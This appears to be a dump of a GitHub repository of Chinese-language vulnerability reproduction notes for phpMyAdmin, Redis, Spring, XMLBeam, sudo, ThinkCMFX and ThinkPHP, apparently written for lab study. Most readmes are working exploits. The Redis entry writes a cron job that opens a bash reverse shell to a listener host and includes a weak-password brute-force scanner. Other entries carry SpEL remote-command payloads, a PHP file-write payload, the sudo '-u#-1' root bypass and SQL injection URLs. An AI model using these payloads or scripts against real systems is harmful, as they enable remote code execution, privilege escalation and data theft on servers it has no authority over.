`/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd` 18 | 19 | ![](assets/poc.png) 20 | 21 | 就可以成功读取到/etc/passwd文件 -------------------------------------------------------------------------------- /redis/redis未授权访问漏洞/assets/python_poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/redis/redis未授权访问漏洞/assets/python_poc.png -------------------------------------------------------------------------------- /redis/redis未授权访问漏洞/readme.md: -------------------------------------------------------------------------------- 1 | ### 复现环境 2 | 3 | ``` 4 | wget http://download.redis.io/releases/redis-3.2.0.tar.gz 5 | tar xzf redis-3.2.0.tar.gz 6 | cd redis-3.2.0 7 | make 8 | ``` 9 | 修改配置文件,使可以远程访问: 10 | 11 | `vim redis.conf` 12 | 13 | bind 127.0.0.1前面加上#号 protected-mode设为no 启动redis-server 14 | 15 | `./src/redis-server redis-conf` 16 | 17 | 默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件 18 | 19 | ### 复现方法 20 | 21 | 利用计划任务执行命令反弹shell 在redis以root权限运行时可以写crontab来执行命令反弹shell 先在自己的服务器上监听一个端口 22 | 23 | `nc -lvnp 7999` 24 | 25 | 然后执行命令: 26 | 27 | ``` 28 | root@kali:~# redis-cli -h 192.168.63.130 29 | 192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n" 30 | OK 31 | 192.168.63.130:6379> config set dir /var/spool/cron/ 32 | OK 33 | 192.168.63.130:6379> config set dbfilename root 34 | OK 35 | 192.168.63.130:6379> save 36 | OK 37 | ``` 38 | 39 | 上面的命令执行完,就会收到一个反弹的shell 40 | 41 | ### python poc 42 | 43 | ```python 44 | #! /usr/bin/env python 45 | # _*_ coding:utf-8 _*_ 46 | import socket 47 | import sys 48 | PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] 49 | def check(ip, port, timeout): 50 | try: 51 | socket.setdefaulttimeout(timeout) 52 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | s.connect((ip, int(port))) 54 | s.send("INFO\r\n") 55 | result = s.recv(1024) 56 | if "redis_version" in result: 57 | return u"未授权访问" 58 | elif "Authentication" in result: 59 | for pass_ in PASSWORD_DIC: 60 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 61 | s.connect((ip, int(port))) 62 | s.send("AUTH %s\r\n" %(pass_)) 63 | result = s.recv(1024) 64 | if '+OK' in result: 65 | return u"存在弱口令,密码:%s" % (pass_) 66 | except Exception, e: 67 | pass 68 | if __name__ == '__main__': 69 | ip=sys.argv[1] 70 | port=sys.argv[2] 71 | print check(ip,port, timeout=10) 72 | ``` 73 | 74 | 75 | -------------------------------------------------------------------------------- /spring boot/springboot spel表达式注入/assets/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring boot/springboot spel表达式注入/assets/code.png -------------------------------------------------------------------------------- /spring boot/springboot spel表达式注入/assets/maven.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring boot/springboot spel表达式注入/assets/maven.png -------------------------------------------------------------------------------- /spring boot/springboot spel表达式注入/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring boot/springboot spel表达式注入/assets/poc.png -------------------------------------------------------------------------------- /spring boot/springboot spel表达式注入/assets/springinit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring boot/springboot spel表达式注入/assets/springinit.png -------------------------------------------------------------------------------- /spring boot/springboot spel表达式注入/readme.md: -------------------------------------------------------------------------------- 1 | #### 前言 2 | 3 | 影响不算大的一个漏洞,但是对于学习SpEL注入还是很有价值的 4 | 5 | 6 | #### 影响版本 7 | 8 | 1.1.0-1.1.12 9 | 1.2.0-1.2.7 10 | 1.3.0 11 | 修复方案:升至1.3.1或以上版本 12 | 13 | #### 复现 14 | 15 | 复现版本:1.2.0 16 | 17 | 我采用IDEA这一IDE来搭建Spring Boot项目,通常,我们创建springboot项目可以直接用idea里提供的spring initializer功能,也可以直接去网站 https://start.spring.io/ 生成spring boot框架 18 | 19 | ![](assets/springinit.png) 20 | 21 | 但是上面两个方法搭建的环境只能是罪行的两个版本,而存在漏洞的版本比较老了,所以我采用idea构建maven工程的方式来使用老版本的spring boot,步骤如下 22 | 23 | ![](assets/maven.png) 24 | 25 | 点击next,在下一个页面填好你自己命名的groupid等,最后点击finish,然后修改pom文件,添加如下内容 26 | 27 | ```xml 28 | <parent> 29 | <groupId>org.springframework.boot</groupId> 30 | <artifactId>spring-boot-starter-parent</artifactId> 31 | <version>1.2.0.RELEASE</version> 32 | </parent> 33 | <dependencies> 34 | <dependency> 35 | <groupId>org.springframework.boot</groupId> 36 | <artifactId>spring-boot-starter-web</artifactId> 37 | </dependency> 38 | </dependencies> 39 | ``` 40 | 41 | 这样maven自动构建过程中就会帮助我们下载1.2.0版本的spring boot了。然后开始写主程序和控制器。 42 | 43 | Main.java 44 | 45 | ```java 46 | // Main.java 47 | package com.axin; 48 | 49 | import org.springframework.boot.SpringApplication; 50 | import org.springframework.boot.autoconfigure.SpringBootApplication; 51 | 52 | @SpringBootApplication 53 | public class Main { 54 | public static void main(String[] args){ 55 | SpringApplication.run(Main.class, args); 56 | } 57 | 58 | } 59 | ``` 60 | Sample.java 61 | 62 | ```java 63 | // Sample.java 64 | package com.axin; 65 | 66 | import org.springframework.stereotype.Controller; 67 | import org.springframework.web.bind.annotation.RequestMapping; 68 | import org.springframework.web.bind.annotation.ResponseBody; 69 | 70 | @Controller 71 | public class Sample { 72 | @RequestMapping("/") 73 | @ResponseBody 74 | public String hello(String payload){ 75 | throw new IllegalStateException(payload); 76 | } 77 | } 78 | 79 | ``` 80 | 81 | ![](assets/code.png) 82 | 83 | 这个漏洞产生的比较关键的一点就是程序把用户的输入带入到报错页面。所以,可以看到Sample.java里构造了这么一个环境。 84 | 85 | 这个时候当我们发送如下payload: 86 | 87 | ` 88 | http://localhost:8080/?payload=${new%20java.lang.ProcessBuilder(new%20java.lang.String(new%20byte[]{119,105,114,101,115,104,97,114,107})).start()} 89 | ` 90 | 91 | 就会执行wireshark 92 | 93 | ![](assets/poc.png) 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /spring/Spring-Data-Rest-RCE_/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring/Spring-Data-Rest-RCE_/assets/poc.png -------------------------------------------------------------------------------- /spring/Spring-Data-Rest-RCE_/assets/python.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring/Spring-Data-Rest-RCE_/assets/python.png -------------------------------------------------------------------------------- /spring/Spring-Data-Rest-RCE_/readme.md: -------------------------------------------------------------------------------- 1 | Spring Data Rest 远程命令执行漏洞(CVE-2017-8046) 2 | -- 3 | 4 | 5 | ### 漏洞简介 6 | 7 | Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。 8 | 9 | ### 影响范围 10 | 11 | 以下产品和版本受到影响:Pivotal Spring Data REST 2.5.12之前的版本,2.6.7之前的版本,3.0 RC3之前的版本;Spring Boot 2.0.0M4之前版本,Spring Data Kay-RC3之前的版本。 12 | 13 | ### 利用条件 14 | 15 | 知道资源地址,例如本例中的资源地址就是/customers/1 16 | 17 | ### 利用方法 18 | 19 | 访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改之: 20 | 21 | ``` 22 | PATCH /customers/1 HTTP/1.1 23 | Host: localhost:8080 24 | Accept-Encoding: gzip, deflate 25 | Accept: */* 26 | Accept-Language: en 27 | User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) 28 | Connection: close 29 | Content-Type: application/json-patch+json 30 | Content-Length: 202 31 | 32 | [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }] 33 | ``` 34 | 35 | path的值是SpEL表达式,发送上述数据包,将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令touch /tmp/success。 36 | 37 | ![](assets/poc.png) 38 | 39 | 想要执行其他命令,只需要将特定命令转换为byte串就行了,我这里用python写了一脚本: 40 | 41 | ```python 42 | # -*- coding:utf-8 -*- 43 | 44 | bytes_str = '116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115' 45 | 46 | 47 | def bytes2str(bytes_str): 48 | mystr = '' 49 | bytes_list = bytes_str.split(',') 50 | for byte in bytes_list: 51 | mystr += chr(int(byte)) 52 | print(mystr) 53 | 54 | 55 | def str2bytes(mystr): 56 | bytes_str = '' 57 | for char in mystr: 58 | bytes_str += str(ord(char))+"," 59 | print(bytes_str.strip(',')) 60 | 61 | if __name__ == '__main__': 62 | str2bytes("touch /tmp/success") 63 | ``` 64 | 65 | 这个脚本会将命令转换为byte串 66 | 67 | ![](assets/python.png) 68 | 69 | ### 渗透测试特征 70 | 71 | 返回的是json格式的数据 72 | 73 | ### 痕迹分析 74 | 75 | 76 | ### 参考 77 | 78 | 漏洞环境:https://github.com/vulhub/vulhub/tree/master/spring/CVE-2017-8046 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /spring/XMLBeam-XXE(CVE-2018-1259)/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring/XMLBeam-XXE(CVE-2018-1259)/assets/poc.png -------------------------------------------------------------------------------- /spring/XMLBeam-XXE(CVE-2018-1259)/assets/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring/XMLBeam-XXE(CVE-2018-1259)/assets/test.png -------------------------------------------------------------------------------- /spring/XMLBeam-XXE(CVE-2018-1259)/readme.md: -------------------------------------------------------------------------------- 1 | XMLBeam-XXE复现(cve-2018-1259) 2 | -- 3 | 4 | ### 前言 5 | 6 | 这个漏洞是XMLBeam的问题,但是还是被spring背了锅 7 | 8 | ### 漏洞简介 9 | 10 | Spring Data Commons 版本在 1.13—1.13.11 和 2.0—2.0.6 ,Spring Data REST 版本在 2.6-2.6.11 和 3.0-3.0.6,因为使用了小于等于 1.4.14 版本的 XMLBeam 导致存在XML实体注入漏洞 11 | 12 | ### 利用条件 13 | 14 | 在渗透中需要知道哪个参数使用来了xmlbeam解析 15 | 16 | ### 利用方法 17 | 18 | 使用 IDEA 创建一个 名为 demo 的 Spring Boot 应用,主要是添加一个 "/login" RequestMapping URL映射路径,模拟使用XML数据认证进行登录。 19 | 20 | 主要代码文件 DemoAppliction.java 如下: 21 | 22 | ```java 23 | package com.example.demo; 24 | import org.springframework.boot.SpringApplication; 25 | import org.springframework.web.bind.annotation.RequestMethod; 26 | import org.xmlbeam.annotation.XBRead; 27 | import org.springframework.web.bind.annotation.RequestBody; 28 | import org.springframework.web.bind.annotation.RequestMapping; 29 | import org.springframework.web.bind.annotation.RestController; 30 | import org.springframework.boot.autoconfigure.SpringBootApplication; 31 | 32 | @RestController 33 | @SpringBootApplication 34 | public class DemoApplication { 35 | @RequestMapping(value = "/login", method = RequestMethod.POST) 36 | public String handleCustomer(@RequestBody Customer customer) { 37 | return String.format("%s:%s login success!", customer.getFirstname(), customer.getLastname()); 38 | } 39 | public static void main(String[] args) { 40 | SpringApplication.run(DemoApplication.class, args); 41 | } 42 | public interface Customer { 43 | @XBRead("//username") 44 | String getFirstname(); 45 | @XBRead("//password") 46 | String getLastname(); 47 | } 48 | } 49 | ``` 50 | 51 | 同目录下的 xmlbeams.java 文件使用 Example 示例文件(https://github.com/olivergierke/spring-examples/blob/master/scratchpad/src/main/java/example/xmlbeam/XmlBeamHttpMessageConverter.java)的代码。 52 | 53 | 最后再在 pom.xml 中增加依赖,并用 IDEA 解决(alt + L键)此依赖问题。 或者直接maven视图执行install安装依赖。 54 | 55 | ![](assets/test.png) 56 | 57 | 运行起来,我们访问/login,并发送xml数据,如下 58 | 59 | ![](assets/poc.png) 60 | 61 | ### python poc 62 | 这个漏洞没办法写出通用的poc 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /spring/spring-messaging/assets/idea.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring/spring-messaging/assets/idea.png -------------------------------------------------------------------------------- /spring/spring-messaging/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring/spring-messaging/assets/poc.png -------------------------------------------------------------------------------- /spring/spring-messaging/assets/web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/spring/spring-messaging/assets/web.png -------------------------------------------------------------------------------- /spring/spring-messaging/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2018-1270复现 2 | -- 3 | 4 | ### 漏洞简介 5 | 6 | STOMP(Simple Text Orientated Messaging Protocol)全称为简单文本定向消息协议,它是一种在客户端与中转服务端(消息代理Broker)之间进行异步消息传输的简单通用协议,它定义了服务端与客户端之间的格式化文本传输方式。已经在被许多消息中间件与客户端工具所支持。STOMP协议规范:https://stomp.github.io/stomp-specification-1.0.html 7 | 8 | Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。 9 | 10 | 影响范围:SpringFramework 5.0 ~ 5.0.4,4.3 ~ 4.3.14,以及停止维护的更老版本均受影响 11 | 12 | 最新安全公告:https://pivotal.io/security/cve-2018-1275 13 | 14 | 修复方案: 15 | 16 | 1.请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本); 17 | 18 | 2.如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本); 19 | 20 | 同时Spring还修复其他两个漏洞,有兴趣的朋友可以自行分析下: https://pivotal.io/security/cve-2018-1271 https://pivotal.io/security/cve-2018-1272 21 | 22 | ### 环境搭建 23 | 24 | 搭建指南:https://spring.io/guides/gs/intellij-idea/ 25 | 26 | 示例项目:https://github.com/spring-guides/gs-messaging-stomp-websocket 27 | 28 | 下载示例环境代码: 29 | 30 | ``` 31 | git clone https://github.com/spring-guides/gs-messaging-stomp-websocket 32 | git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3 33 | ``` 34 | 35 | 打开IntelliJ IDEA,在欢迎界面点击Import Project,选择刚下载的gs-messaging-stomp-websocket示例程序中complete项目下的Maven pom.xml文件,进行导入,一顿Next操作之后,IDEA会创建一个可以直接运行的项目。 36 | 37 | 点击运行,启动Spring Boot服务,访问http://localhost:8080/。 38 | 39 | ![](assets/idea.png) 40 | 41 | ![](assets/web.png) 42 | 43 | 44 | 篡改前端app.js中Websocket connect函数中,插入恶意selector代码,PoC如下: 45 | 46 | ``` 47 | var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('wireshark')"}; 48 | ``` 49 | 50 | ![](assets/poc.png) 51 | 52 | 我上面的poc就是启动我的wireshark,效果如上图 53 | 54 | ### 修复方案 55 | 56 | 修复测试,我们将pom.xml中的org.springframework.boot设置到2.0.1版本,org.springframework.boot中会引用5.0.5版本的Spring框架。再测试则会发现漏洞已经无法利用了。pom.xml: 57 | 58 | ``` 59 | <parent> 60 | <groupId>org.springframework.boot</groupId> 61 | <artifactId>spring-boot-starter-parent</artifactId> 62 | <version>2.0.1.RELEASE</version> 63 | </parent> 64 | ``` 65 | 66 | 67 | ### 注: 68 | 文档来源:https://kingx.me/spring-messaging-rce-cve-2018-1270.html 69 | 加了点自己实践的截图 70 | 71 | https://chybeta.github.io/2018/04/07/spring-messaging-Remote-Code-Execution-%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1270%E3%80%91/ 72 | 73 | 74 | 漏洞分析:http://blog.nsfocus.net/spring-messaging-analysis/ -------------------------------------------------------------------------------- /spring/spring-mvc目录穿越/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2018-1271 2 | -- 3 | 4 | ### 参考 5 | 6 | https://paper.seebug.org/665/ 7 | 8 | seebug这一篇分析与复现都很详细了 9 | 10 | ### 补充 11 | 12 | 我在windows上按照上述文章复现后,没有成功,根据idea控制台中的输出可以看到resources映射也没有问题,但是就是没有实现目录穿越,附上我idea控制台中的输出 -------------------------------------------------------------------------------- /spring/spring一些其他相关漏洞.md: -------------------------------------------------------------------------------- 1 | - cve-2016-5007 2 | http://www.polaris-lab.com/index.php/archives/185/ 3 | 4 | - cve-2016-4977 5 | https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977 6 | 7 | - cve-2017-4971 8 | https://github.com/vulhub/vulhub/tree/master/spring/CVE-2017-4971 9 | 10 | - cve-2018-1273 11 | https://xz.aliyun.com/t/2269 12 | -------------------------------------------------------------------------------- /sudo/CVE-2019-14287(sudo权限绕过)/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/sudo/CVE-2019-14287(sudo权限绕过)/assets/poc.png -------------------------------------------------------------------------------- /sudo/CVE-2019-14287(sudo权限绕过)/assets/sudoers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/sudo/CVE-2019-14287(sudo权限绕过)/assets/sudoers.png -------------------------------------------------------------------------------- /sudo/CVE-2019-14287(sudo权限绕过)/readme.md: -------------------------------------------------------------------------------- 1 | CVE-2019-14287 sudo 权限绕过 2 | ---- 3 | 4 | 咱不说原理,就说复现步骤,原理请自行google,或移步: 5 | http://vulsee.com/archives/vulsee_2019/1015_9074.html 6 | 7 | 默认情况下,在大多数Linux发行版中如图所示,/etc /sudoers文件中RunAs规范中的ALL关键字允许admin或sudo组中的所有用户以系统上的任何有效用户身份运行任何命令。 8 | 9 | #### 利用前提 10 | 11 | 用户具有 sudo 权限 12 | 13 | #### 复现过程 14 | 15 | - 新建一个测试用户 axin 16 | ``` 17 | 1. useradd axin 创建一个用户 18 | 2. passwd axin 给创建的用户设置密码 19 | ``` 20 | 21 | 22 | 23 | - 配置/etc/sudoers文件(对于这个配置文件不太了解的,可以多看看漏洞原理) 24 | 在sudoers文件中添加一行 25 | `axin ALL=(ALL:!root) ALL` 26 | ![](assets/sudoers.png) 27 | 28 | 29 | 30 | - 然后切换到测试用户axin,执行我们的poc 31 | ``` 32 | sudo -u#-1 id 或者 sudo -u#4294967295 id 33 | ``` 34 | ![](assets/poc.png) 35 | 36 | 通过截图可以看到,原本我们的axin用户的uid是1000的,但是执行了我们的poc过后就变成了0,uid为0也正是root用户 37 | 38 | 39 | 至此,漏洞复现结束 40 | -------------------------------------------------------------------------------- /thinkcmfx/thinkcmfx任意内容包含漏洞/assets/dnslog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkcmfx/thinkcmfx任意内容包含漏洞/assets/dnslog.png -------------------------------------------------------------------------------- /thinkcmfx/thinkcmfx任意内容包含漏洞/assets/poc1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkcmfx/thinkcmfx任意内容包含漏洞/assets/poc1.png -------------------------------------------------------------------------------- /thinkcmfx/thinkcmfx任意内容包含漏洞/assets/poc2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkcmfx/thinkcmfx任意内容包含漏洞/assets/poc2.png -------------------------------------------------------------------------------- /thinkcmfx/thinkcmfx任意内容包含漏洞/readme.md: -------------------------------------------------------------------------------- 1 | #### 简介 2 | ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。 3 | ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。 4 | 每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。 5 | 6 | #### 影响版本 7 | ThinkCMF X1.6.0 8 | ThinkCMF X2.1.0 9 | ThinkCMF X2.2.0 10 | ThinkCMF X2.2.1 11 | ThinkCMF X2.2.2 12 | ThinkCMF X2.2.3 13 | 14 | #### 复现环境 15 | 我这里下载的2.2.0版本,下载地址为:[thinkcmfx2.2.0](https://gitee.com/thinkcmf/ThinkCMFX/releases) 16 | 17 | 安装过程就略过了 18 | 19 | #### 漏洞复现 20 | 21 | ##### 0x01 22 | payload: http://localhost/thinkcmfx220/?a=display&templateFile=README.md 23 | 24 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/20191025204617762.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70) 25 | ##### 0x02 26 | payload:?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php> 27 | 28 | 上述请求发送后,会在thinkcmfx根目录生成test.php,我们访问一下: 29 | 30 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/20191025204929291.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70) 31 | ##### 0x03 32 | payload:?a=fetch&content=<?php system('ping xxxxxx');?> 33 | 34 | 这种方式其实利用和pyload2一样,只不过是直接执行系统命令,我们可以用dnslog的方式检验结果,如下 35 | 36 | ![在这里插入图片描述](https://img-blog.csdnimg.cn/20191025205321715.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==,size_16,color_FFFFFF,t_70) 37 | 说明命令成功执行 -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/builder_insert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/builder_insert.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/data.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/data.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/data1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/data1.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/index.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/index.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/insert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/insert.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/insertSql.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/insertSql.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/poc.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/assets/sql.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入1/assets/sql.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入1/readme.md: -------------------------------------------------------------------------------- 1 | ### 漏洞概述 2 | 3 | 本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。 4 | 5 | ### 复现环境 6 | 7 | lamp集成环境lammp 8 | thinkphp 5.0.15 9 | 10 | ### 复现方法 11 | 12 | 将 application/index/controller/Index.php 文件代码设置如下: 13 | 14 | ```php 15 | <?php 16 | namespace app\index\controller; 17 | 18 | class Index 19 | { 20 | public function index() 21 | { 22 | $username = request()->get('username/a'); 23 | db('users')->insert(['username' => $username]); 24 | return 'Update success'; 25 | } 26 | } 27 | ``` 28 | 29 | 在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace (不开启app_debug是看不到报错信息的)。创建数据库信息如下: 30 | 31 | ``` 32 | create database tpdemo; 33 | use tpdemo; 34 | create table users( 35 | id int primary key auto_increment, 36 | username varchar(50) not null 37 | ); 38 | ``` 39 | 40 | 41 | http://127.0.0.1/thinkphp5015/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7,@@version,0x7e),1)&username[2]=1 42 | 43 | ![](assets/poc.png) 44 | 45 | 46 | ### 漏洞分析 47 | 48 | 此处是一个insert语句导致的注入,虽然tp中用各种函数来封装了sql语句的操作,但是这些函数执行的最终结果还是简单的拼接用户输入到sql语句中,从而发生了sql注入,为了便于理解,我们就直接跟着payload来分析这个漏洞。 49 | 50 | ![](assets/index.png) 51 | 52 | 我们在index这个控制器中执行了一个insert操作。 53 | 54 | 其中`db('users')`这个函数执行的结果会返回一个Query对象(详情可以跟一下db助手函数),然后执行了Query的insert方法,所以,我们接下来就是跟进insert方法去看一看 55 | 56 | ![](assets/insert.png) 57 | 58 | 图中的断点都是我自己添加的一些代码,都是输出某个数据的值,手动调试只有这种笨方法233333 59 | 60 | 首先执行了`parseExpress`,但是这个函数在本次利用链中没有什么关系,我们只需要知道最终传入`$this->builder->insert()`函数的`$data`的值,我通过`var_dump($data)`的方式,看了一下它的值,如下 61 | 62 | ![](assets/data.png) 63 | 64 | 到目前位置,我们的payload:`updatexml(1,concat(......)))`还没有被过滤掉,那我们继续根据`$this->builder->insert()`的insert函数,这个`$this->builder`表示的是Builder对象。 65 | 66 | ![](assets/builder_insert.png) 67 | 68 | 可以看到首先就是执行了一个parseData函数,但是我们不着急跟进这个函数,我们直接看他返回的值`$data` 69 | 70 | ![](assets/data1.png) 71 | 72 | 先不管parseData到底做了什么,我们只关心他并没有对我们的payload进行任何安全过滤,那么我们就可以继续往下分析了。剩下的代码实际上只做了一件事,那就是根据insert模板语句,通过str_replace函数这种简单替换字符串的方式得到最后真实的sql语句。而模板语句就是`$this->insertSql`,也就是 73 | 74 | ![](assets/insertSql.png) 75 | 76 | 经过替换后,得到最后的sql语句如下 77 | 78 | ![](assets/sql.png) 79 | 80 | 最后这个sql语句会在Query.php中的insert函数中传入到execute函数,得到执行 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入2/assets/poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maskhe/vuls/c89975801d30d01e3c37ab705b4322decdbce5a4/thinkphp/thinkphp5 sql注入2/assets/poc.png -------------------------------------------------------------------------------- /thinkphp/thinkphp5 sql注入2/readme.md: -------------------------------------------------------------------------------- 1 | ### 漏洞概述 2 | 3 | 本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本 。 4 | 5 | ### 漏洞环境 6 | 7 | thinkphp 5.0.10 8 | 9 | ### 复现流程 10 | 11 | 将 application/index/controller/Index.php 文件代码设置如下: 12 | 13 | ```php 14 | <?php 15 | namespace app\index\controller; 16 | 17 | class Index 18 | { 19 | public function index() 20 | { 21 | $username = request()->get('username'); 22 | $result = db('users')->where('username','exp',$username)->select(); 23 | return 'select success'; 24 | } 25 | } 26 | ``` 27 | 28 | 在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace 。创建数据库信息如下: 29 | 30 | ``` 31 | create database tpdemo; 32 | use tpdemo; 33 | create table users( 34 | id int primary key auto_increment, 35 | username varchar(50) not null 36 | ); 37 | insert into users(id,username) values(1,'axin'); 38 | ``` 39 | 40 | 访问 http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,@@version,0x7e),1)# 链接,即可触发 SQL注入漏洞 。(没开启 app_debug 是无法看到 SQL 